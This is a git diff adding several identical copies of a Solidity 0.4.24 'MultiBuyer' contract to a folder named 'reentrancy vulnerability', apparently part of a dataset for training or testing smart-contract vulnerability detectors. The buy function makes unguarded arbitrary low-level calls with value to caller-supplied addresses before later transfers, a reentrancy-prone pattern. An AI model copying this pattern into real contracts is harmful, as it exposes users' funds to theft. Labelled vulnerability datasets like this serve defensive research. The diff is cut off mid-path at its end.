b/smart_contract_dataset/reentrancy vulnerability/32095.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32095.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32100.sol b/smart_contract_dataset/reentrancy vulnerability/32100.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32100.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32470.sol b/smart_contract_dataset/reentrancy vulnerability/32470.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32470.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32474.sol b/smart_contract_dataset/reentrancy vulnerability/32474.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32474.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32480.sol b/smart_contract_dataset/reentrancy 